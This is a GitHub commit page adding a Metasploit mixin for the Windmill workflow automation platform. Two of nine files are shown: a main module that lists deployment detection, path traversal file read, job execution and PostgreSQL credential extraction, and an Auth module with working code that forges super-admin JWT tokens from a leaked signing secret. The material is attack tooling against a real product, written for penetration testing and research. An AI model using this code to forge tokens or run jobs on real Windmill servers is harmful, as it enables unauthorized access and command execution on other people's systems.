Skip to content

Commit 5c09b1f

Browse files
committed
Feat: Add Msf::Exploit::Remote::HTTP::Windmill mixin
HTTP mixin for Windmill workflow automation platform. Handles deployment detection (standalone, Nextcloud Flow proxy, Flow direct), authentication via JWT forging, path traversal file read, workspace management, and PostgreSQL heap file credential extraction.
1 parent 4bacaee commit 5c09b1f

File tree

9 files changed

+1105
-0
lines changed

9 files changed

+1105
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
# -*- coding: binary -*-
2+
# frozen_string_literal: true
3+
4+
module Msf
5+
class Exploit
6+
class Remote
7+
module HTTP
8+
#
9+
# Windmill API interaction mixin for Metasploit modules
10+
#
11+
# Provides primitives for interacting with Windmill workflow automation
12+
# platform, including support for Nextcloud Flow deployments via AppAPI.
13+
#
14+
# == Supported Deployment Types
15+
#
16+
# - *Standalone*: Direct Windmill installation
17+
# - *Nextcloud Flow (proxy)*: Windmill behind Nextcloud AppAPI proxy
18+
# - *Nextcloud Flow (direct)*: Windmill accessible alongside Nextcloud
19+
#
20+
# == Included Modules
21+
#
22+
# The following modules are automatically included:
23+
# - {Constants}: API endpoints and configuration values
24+
# - {HttpHelpers}: Low-level HTTP request helpers
25+
# - {Detection}: Deployment type auto-detection
26+
# - {Auth}: Authentication and JWT forging
27+
# - {Workspace}: Workspace management
28+
# - {FileRead}: Path traversal file read (CVE-2026-29059)
29+
# - {Jobs}: Job execution API
30+
# - {Postgres}: PostgreSQL data extraction
31+
#
32+
# == Optional Modules
33+
#
34+
# The following must be explicitly included if needed:
35+
# - {Sqli}: SQL injection via folder API (CVE pending)
36+
#
37+
# == Instance Variables
38+
#
39+
# The mixin maintains the following state:
40+
# - @windmill_api_prefix: Detected API path prefix
41+
# - @windmill_deployment_type: Deployment type constant
42+
# - @windmill_token: Authentication token
43+
# - @windmill_workspace: Current workspace ID
44+
# - @windmill_version: Detected Windmill version
45+
#
46+
# == Example Usage
47+
#
48+
# class MetasploitModule < Msf::Exploit::Remote
49+
# include Msf::Exploit::Remote::HTTP::Windmill
50+
#
51+
# def exploit
52+
# return unless windmill_detect_deployment
53+
# windmill_login(datastore['USERNAME'], datastore['PASSWORD'])
54+
# windmill_run_job('id', language: 'bash')
55+
# end
56+
# end
57+
#
58+
# @author Valentin Lobstein (Chocapikk)
59+
#
60+
# @see https://github.com/Chocapikk/Windfall
61+
# @see https://www.windmill.dev/
62+
#
63+
module Windmill
64+
include Msf::Exploit::Remote::HttpClient
65+
include Msf::Exploit::Remote::HTTP::Windmill::Constants
66+
include Msf::Exploit::Remote::HTTP::Windmill::HttpHelpers
67+
include Msf::Exploit::Remote::HTTP::Windmill::Detection
68+
include Msf::Exploit::Remote::HTTP::Windmill::Auth
69+
include Msf::Exploit::Remote::HTTP::Windmill::Workspace
70+
include Msf::Exploit::Remote::HTTP::Windmill::FileRead
71+
include Msf::Exploit::Remote::HTTP::Windmill::Jobs
72+
include Msf::Exploit::Remote::HTTP::Windmill::Postgres
73+
74+
# @!attribute [rw] windmill_api_prefix
75+
# @return [String, nil] Detected API path prefix (e.g., '/api')
76+
#
77+
# @!attribute [rw] windmill_deployment_type
78+
# @return [String, nil] Deployment type (see Constants::DEPLOYMENT_*)
79+
#
80+
# @!attribute [rw] windmill_token
81+
# @return [String, nil] Authentication token (Bearer or JWT)
82+
#
83+
# @!attribute [rw] windmill_workspace
84+
# @return [String, nil] Current workspace ID
85+
#
86+
# @!attribute [rw] windmill_version
87+
# @return [String, nil] Detected Windmill version string
88+
attr_accessor :windmill_api_prefix, :windmill_deployment_type, :windmill_token,
89+
:windmill_workspace, :windmill_version
90+
91+
#
92+
# Initialize the Windmill mixin
93+
#
94+
# Registers module options and initializes instance variables.
95+
#
96+
# @param info [Hash] Module information hash
97+
#
98+
def initialize(info = {})
99+
super
100+
101+
register_options([
102+
Msf::OptString.new('TARGETURI', [true, 'Base path to Windmill', '/'])
103+
], Msf::Exploit::Remote::HTTP::Windmill)
104+
105+
@windmill_api_prefix = nil
106+
@windmill_deployment_type = nil
107+
@windmill_token = nil
108+
@windmill_workspace = nil
109+
@windmill_version = nil
110+
end
111+
end
112+
end
113+
end
114+
end
115+
end
Lines changed: 173 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
# -*- coding: binary -*-
2+
# frozen_string_literal: true
3+
4+
module Msf
5+
class Exploit
6+
class Remote
7+
module HTTP
8+
module Windmill
9+
#
10+
# Authentication and JWT methods for Windmill API
11+
#
12+
# Provides authentication primitives including:
13+
# - Username/password login
14+
# - JWT token forging (requires leaked jwt_secret)
15+
# - Authentication verification
16+
#
17+
# @author Valentin Lobstein (Chocapikk)
18+
#
19+
module Auth
20+
include Msf::Exploit::Remote::HTTP::Windmill::Constants
21+
22+
#
23+
# Forge a Windmill JWT token with admin privileges
24+
#
25+
# Creates a valid JWT token using HMAC-SHA256 signing. The forged token
26+
# grants super_admin privileges for the specified workspace.
27+
#
28+
# @param jwt_secret [String] The JWT signing secret (typically 32 alphanumeric chars)
29+
# @param email [String] Email address for the forged identity
30+
# @param workspace [String] Workspace ID to include in token claims
31+
# @return [String] Forged JWT token prefixed with 'jwt_' (Windmill convention)
32+
#
33+
# @example Forge admin token
34+
# token = windmill_forge_jwt('abc123...', 'admin@example.com', 'main')
35+
# # => 'jwt_eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
36+
#
37+
def windmill_forge_jwt(jwt_secret, email, workspace)
38+
header = { alg: 'HS256', typ: 'JWT' }
39+
payload = {
40+
email: email,
41+
username: email.split('@').first,
42+
is_admin: true,
43+
is_operator: false,
44+
groups: %w[all],
45+
folders: [],
46+
label: nil,
47+
workspace_id: workspace,
48+
exp: Time.now.to_i + (86_400 * 30) # 30 days
49+
}
50+
51+
unsigned = [header, payload].map { |h| windmill_base64url_encode(h.to_json) }.join('.')
52+
signature = OpenSSL::HMAC.digest('SHA256', jwt_secret, unsigned)
53+
54+
"jwt_#{unsigned}.#{windmill_base64url_encode(signature)}"
55+
end
56+
57+
#
58+
# Verify current authentication and retrieve user info
59+
#
60+
# Calls the /users/whoami endpoint to validate the current token
61+
# and retrieve user details.
62+
#
63+
# @return [Hash, nil] User info hash or nil on failure
64+
# @option return [String] :email User's email address
65+
# @option return [Boolean] :super_admin Whether user is super admin
66+
# @option return [Boolean] :is_admin Whether user is workspace admin
67+
#
68+
# @example Check authentication
69+
# if (info = windmill_verify_auth)
70+
# print_good("Logged in as #{info[:email]}")
71+
# end
72+
#
73+
def windmill_verify_auth
74+
res = windmill_get(windmill_api_path(API_WHOAMI))
75+
return unless res&.code == 200
76+
77+
JSON.parse(res.body).then do |data|
78+
{ email: data['email'], super_admin: data['super_admin'], is_admin: data['is_admin'] }
79+
end
80+
rescue JSON::ParserError
81+
nil
82+
end
83+
84+
#
85+
# Authenticate to Windmill with username and password
86+
#
87+
# Performs email/password authentication and stores the resulting
88+
# token in @windmill_token for subsequent requests.
89+
#
90+
# @param username [String] Email address or username
91+
# @param password [String] Password
92+
# @return [String, nil] Authentication token on success, nil on failure
93+
#
94+
# @example Login with credentials
95+
# if windmill_login('user@example.com', 'password123')
96+
# print_good('Authentication successful')
97+
# end
98+
#
99+
def windmill_login(username, password)
100+
windmill_detect_deployment unless windmill_api_prefix
101+
102+
res = perform_login_request(username, password)
103+
return handle_rate_limit if res&.code == 429
104+
return unless res&.code == 200
105+
106+
extract_token(res)
107+
end
108+
109+
private
110+
111+
#
112+
# Perform the actual login HTTP request
113+
#
114+
# @param username [String] Email/username
115+
# @param password [String] Password
116+
# @return [Rex::Proto::Http::Response, nil] HTTP response
117+
#
118+
def perform_login_request(username, password)
119+
opts = {
120+
'ctype' => 'application/json',
121+
'data' => { email: username, password: password }.to_json,
122+
auth: false
123+
}
124+
125+
if windmill_is_proxy? && datastore['NC_USER'] && datastore['NC_PASS']
126+
opts['authorization'] = windmill_basic_auth(datastore['NC_USER'], datastore['NC_PASS'])
127+
end
128+
129+
windmill_post(windmill_api_path(API_AUTH_LOGIN), **opts)
130+
end
131+
132+
#
133+
# Handle rate limit response from Nextcloud
134+
#
135+
# @return [nil] Always returns nil
136+
#
137+
def handle_rate_limit
138+
print_error('Rate limited by Nextcloud. Please try again later.')
139+
nil
140+
end
141+
142+
#
143+
# Extract and store token from login response
144+
#
145+
# @param res [Rex::Proto::Http::Response] Login response
146+
# @return [String, nil] Token string or nil
147+
#
148+
def extract_token(res)
149+
token = res.body.strip.delete('"')
150+
return if token.empty?
151+
152+
@windmill_token = token
153+
extract_proxy_cookie(res) if windmill_is_proxy?
154+
token
155+
end
156+
157+
#
158+
# Extract token cookie from proxy response
159+
#
160+
# @param res [Rex::Proto::Http::Response] Response with cookies
161+
# @return [void]
162+
#
163+
def extract_proxy_cookie(res)
164+
return unless res.get_cookies =~ /token=([^;]+)/
165+
166+
@windmill_token_cookie = ::Regexp.last_match(1)
167+
end
168+
end
169+
end
170+
end
171+
end
172+
end
173+
end

0 commit comments

Comments
 (0)